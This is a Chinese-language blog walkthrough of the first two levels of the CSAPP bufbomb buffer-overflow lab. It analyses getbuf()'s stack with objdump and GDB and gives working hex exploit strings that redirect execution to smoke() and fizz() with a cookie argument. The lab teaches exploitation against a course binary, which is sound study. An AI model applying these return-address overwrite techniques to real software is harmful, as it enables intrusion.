CSAPP缓冲区溢出攻击实验(上)

下载实验工具，最新的讲义在这。网上能找到的实验材料有些旧了，有的地方跟最新的handout对不上。不过没有关系，大体上只是程序名(sendstring)或者参数名(bufbomb -t)的差异，不影响我们的实验。

1.实验工具

1.1 makecookie

后面实验中，五次“攻击”中有四次都是使你的cookie出现在它原本不存在的位置，所以我们首先要为自己产生一个cookie。实验工具中的makecookie就是生成cookie用的，参数是你的名字：

[root@vm bufbomb]$ file makecookie 
makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), \for GNU/Linux 2.6.9, not stripped
[root@vm bufbomb]$ chmod +x makecookie

[root@vm bufbomb]$ ./makecookie cdai
0x5e5ee04e

1.2 bufbomb

bufbomb就是我们要“攻击”的程序，我下载的实验工具的这个版本在执行时必须有-t这个参数，表示本人的名字：

[root@vm bufbomb]$ ./bufbomb 
You must include a team name with -t
Usage: ./bufbomb -t team [-n] [-s] [-h]
        -t team:   Specify team name
        -n :       Nitro mode
        -s :       Submit solution via email
        -h :       Print help information

[root@vm bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:I love 15-213
Dud: getbuf returned 0x1
Better luck next time

[root@vm bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:It is easier to love this class when you are a TA
Ouch!: You caused a segmentation fault!
Better luck next time

1.3 sendstring

sendstring小工具（新版叫做hex2raw）能读入我们的制作的string（十六进制），将其发送到bufbomb的标准输入流，避免每次都要在终端上手动输入。cat管道或者直接重定向两种方式都行：

[root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai

[root@vm bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai

2.热身准备

2.1 “漏洞”代码

下面这一段看似“无辜”的小函数就是产生安全漏洞的源头了，而最根源的root cause就是Gets()函数没有考虑buf缓冲区的大小，直接将用户输入的所有字符都保存进去。如果用户输入过多的字符，就会导致栈上某些数据被覆盖，从而造成了缓冲区溢出的危险：

int getbuf()
{
    char buf[12];
    Gets(buf);
    return 1;
}

2.2 缓冲区栈分析

在开始真正“攻击”之前，我们先要分析一下bufbomb调用getbuf()时的栈是什么样子的。只有全面的了解了栈结构，后面实验时我们才能随心所欲地“攻击”它。首先，通过objdump反汇编getbuf()函数：

[root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave  
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret    
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

根据getbuf()的汇编代码，现在分析一下运行时的栈结构是什么样子。基础知识可以看六星经典CSAPP-笔记(3)程序的机器级表示中的“7.运行时的代码与栈”来快速温习一下，这里就不赘述了。

首先，未调用getbuf()之前，%ebp和%esp分别指向调用者test()的栈base地址和栈顶地址，此时栈世界还是一片“风平浪静”：

…………………………………………….. 0x?? <- %ebp

…………………………………………….. 0x00 <- %esp

当test()执行到call 时，根据之前的学习，call指令和getbuf()的前两条“惯用”指令会完成这三件事儿：

• call指令保存返回地址：所谓保存返回地址(return address)其实就是 call指令将那一时刻的PC（%eip值，即call的下一条指令的地址）压入栈。还记得吗？因为PC自增在先，指令执行在后。所以执行完getbuf()的所有代码后，ret指令会恢复PC的值，程序就可以继续执行test()的剩余代码了。
• getbuf()保存test()的%ebp：将test()栈帧的base地址压入到栈上。
• getbuf()保存test()的%esp：将test()栈帧的栈顶地址保存到getbuf()的%ebp，作为getbuf()的base地址。leave和ret指令会负责还原%ebp和%esp。

根据这三条“惯例”，每个函数的栈初始时都是一样的：先是return address，然后是保存的调用者的%ebp，当前的%ebp就指向这。而%esp根据分配空间的大小指向了“更低处”。接下来就是分析getbuf()独有的部分了。开始进一步分析之前先确定两个规则：1）%ebp指向的地址作为0x00（相对地址）；2）下图中寄存器指向的横线的上方是该地址上的数据。

1. lea -0x18(%ebp),%eax：利用lea执行复杂运算，%eax = %ebp - 0x18 = 0x18
2. mov %eax,(%esp)：修改%esp指向位置的值作为Gets()的入参，%(esp) = -0x28位置的数据 = -0x18
3. call 80489c0 ：调用Gets()函数。

不考虑Gets()是如何利用入参-0x18修改buf数组，默认它会完成这个工作。那么getbuf()的栈在调用Gets()就是这个样子：

…………………………………………….. 0x??

……………………………………………..
Return Address
…………………………………………….. 0x04
Saved %ebp
…………………………………………….. 0x00 <- %ebp

……………………………………………..
-0x18 (%eax)
…………………………………………….. -0x28 <- %esp (&arg0)

了解到这里也就足够了，下面就可以进行实验了。

温习：call, leave, ret
call A：保存%eip，调用函数

• push %eip

• jmp A

  leave：还原调用者的%ebp和%esp，为退出函数做准备

• mov %ebp, %esp

• pop %ebp

  ret：修改%eip，返回调用者继续执行

• pop %eip

进一步回顾：
push A：将A压入栈，并修改栈顶指针%esp

• mov A, (%esp)

• %esp += 4

  jmp A：修改%eip，“跳到别处”继续执行

• mov A, %eip

2.3 GDB观察

GDB是Linux下强大的调试工具，简单使用说明如下：

1. gdb ：准备调试程序，等同于先gdb，再file 。
2. b ：为函数设置断点。b是break的缩写，除了函数名，还可以是地址、当前执行处的+/-偏移等。
3. run ：开始运行程序，run后面可以加程序需要的参数，就像在命令行正常运行时那样。
4. s/n/si/c/kill：s即step in，进入下一行代码执行；n即step next，执行下一行代码但不进入；si即step instruction，执行下一条汇编/CPU指令；c即continue，继续执行直到下一个断点处；kill终止调试。
5. bt：bt是backtrace的缩写，打印当前所在函数的堆栈路径。
6. info frame ：描述选中的栈帧。
7. info args：打印选中栈帧的参数。
8. print ：打印指定变量的值。
9. list：列出相应的源代码。
10. quit：退出gdb。

3.“攻击”实验

3.1 Level 0: 蜡烛

实验1是要修改getbuf()的返回地址，在执行完getbuf()后不是返回到原来的调用者test()，而是跳到一个叫做smoke()的函数里。并且不用担心我们会破坏栈的其他部分，因为反正smoke()执行后也是要终止程序，这也降低了难度。

void smoke()
{
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
}

于是思路很简单，按照前面的栈结构分析，我们只需构造一段字符串让Gets()全部拷贝到buf数组了，从而造成缓冲区溢出。同时最重要的一点是：将smoke()函数的初始地址也放到构造的字符串内，使其恰好覆盖到getbuf()的return address位置。

那么第一步，我们先要知道smoke()的初始地址。这很简单，用objdump查看符号表或者.text都能找到：

[root@vm bufbomb]$ objdump -t bufbomb 

bufbomb:     file format elf32-i386

SYMBOL TABLE:
08048134 l    d  .interp        00000000              .interp
    ...
08048f40 g     F .text  0000002a              bushandler
08048eb0 g     F .text  0000002a              smoke
00000000       F *UND*  00000017              rand@@GLIBC_2.0
0804a1d0 g     O .bss   00000004              team
    ...

可以清楚地看到smoke的初始地址是0x08048eb0，万事俱备，现在就可以构造“攻击”字符串了！既然题目都说了，破坏栈中的其他部分数据没关系，那除了smoke的地址，其他我们都可以“瞎写”了。buf第一个元素的地址是-0x18，而return address第一个字节的地址是0x04，两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说我们要构造28个字符，然后加上smoke()的地址就能准确覆盖到return address了。为了便于计数，我按00到99的顺序填充：

[root@vm bufbomb]$ cat exploit.raw
0011223344556677889900112233445566778899001122334455667708048eb0

出乎意料的是第一次运行却失败了，bufbomb提示segment fault，还以为前面分析都错了。结果原因却是我忘记了小尾端的事儿，直接将smoke()的首地址0x08048eb0放到exploit.new的末尾了，PC就会指向一个非法的内存地址了，当然就报段错误了。将地址调整成b0 8e 04 08后，果然成功了！看到CMU对我说“NICE JOB!”热泪盈眶啊！

[root@vm bufbomb]$ cat exploit.raw
00112233445566778899001122334455667788990011223344556677b08e0408

[root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server

3.2 Level 1: 烟火

实验2与实验1大同小异，都是让getbuf()的调用者test()（不是getbuf()）执行一个代码里未调用的函数，实验2中是fizz()函数。但实验2稍稍提高了难度，我们不仅要想法让test()执行fizz()，还要传入我们的cookie作为参数，让fizz()打印出来才算成功。

void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);

    exit(0);
}

第一步还是通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址0x08048e60，只要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()执行完毕后返回到fizz()中（注意不要再忘记小尾端字节序），也就通过缓冲区溢出造成了test()调用了fizz()的“假象”。

第二步很简单，用makecookie生成我的用户名”cdai”的cookie是0x5e5ee04e，那么现在的问题是如何正确设置fizz()的入参呢？之前我们着重温习了call执行时被调用者要做的三件事儿，现在就温习一下调用者要做的事儿。重温一下getbuf()的反汇编代码，以getbuf()调用Gets()为例，看一下调用者的代码和对应的栈：

[root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave  
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret    
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

[root@vm bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"
08048e60 <fizz>:
 8048e60:   55                      push   %ebp
 8048e61:   89 e5                   mov    %esp,%ebp
 8048e63:   83 ec 08                sub    $0x8,%esp
 8048e66:   8b 45 08                mov    0x8(%ebp),%eax
    ...

调用Gets()之前，getbuf()负责将参数压入到栈上，参数位置是(%esp)，即栈顶所指的位置。有了这个知识，我们就可以为fizz()准备入参了。但要注意三点：

1. 多个参数的顺序问题：假如Gets()有两个参数，参数在栈上的地址顺序是：低地址（靠近栈顶）是第一个参数，高地址是第二个参数。
2. 栈指针%ebp和%esp：当我们溢出缓冲区到getbuf()栈上的return address位置时，实际上破坏了栈上的其他数据，包括Saved %ebp。这样getbuf()执行return恢复%ebp时实际上是无法正常恢复到test()的位置了。注意：损坏的只是%ebp，因为%esp是用%ebp还原的而不是在栈上保存的（leave=mov %ebp, %esp; pop %ebp）但这都没有关系。只要开始执行fizz()，fizz()按照“惯例”会将其实已“损坏”的%ebp再次保存到栈上，并从完好的%esp处继续执行。
3. 别忘了return address：前面讲过call指令在跳转前会压入%eip作为return address。也就是说fizz()的%ebp（指向saved %ebp）和调用者准备好的入参之间是隔着return address的。

这时的栈看起来很别扭，这很正常。因为正常情况下，getbuf()执行后应回到它的调用点，但因为我们故意破坏了它的栈，所以 getbuf()的return执行后却立即进入了另一个函数fizz()，看起来也就不足为奇了。

…………………………………………………………………………….. 0x??
Data on caller’s stack => fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
Data on caller’s stack => fizz()’s return address: padding 00112233
…………………………………………………………………………….. 0x08
Return Address of getbuf() => fizz()’s entry point: 608e0408
…………………………………………………………………………….. 0x04
Saved %ebp => padding 44556677
…………………………………………………………………………….. 0x00 <- %ebp
Buf on getbuf()’s stack => padding 00~99 00~99 00~33
……………………………………………………………………………..
-0x18 (%eax)
…………………………………………………………………………….. -0x28 <- %esp (&arg0)

下面就是进入fizz()之后的样子：按照调用者“惯例”和call指令，入参和返回地址(%eip)被压入栈上。按照被调用者“惯例”，fizz将%ebp压入栈后移动到%esp，并移动%esp分配栈空间。一切都“正常”的仿佛就是test()调用的fizz()！从fizz()的反汇编结果也验证了这一点，sub $0x8, %esp分配栈空间后，mov 0x8(%ebp), %eax将入参保存到寄存器%eax中。对照下面的栈，%ebp隔着压入栈的调用者的%ebp和返回地址8字节，因此0x8(%ebp)恰好就是我们“攻击”时放置的入参值。

…………………………………………………………………………….. 0x??
fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
fizz()’s return address: 00112233
…………………………………………………………………………….. 0x08
Saved %ebp: 44556677
…………………………………………………………………………….. 0x04 <- %ebp

…………………………………………………………………………….. 0x00

…………………………………………………………………………….. -0x08 <- %esp

[root@vm bufbomb]$ cat exploit_level_1.raw 
00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e

[root@vm bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Fizz!: You called fizz(0x5e5ee04e)
NICE JOB!
Sent validation information to grading server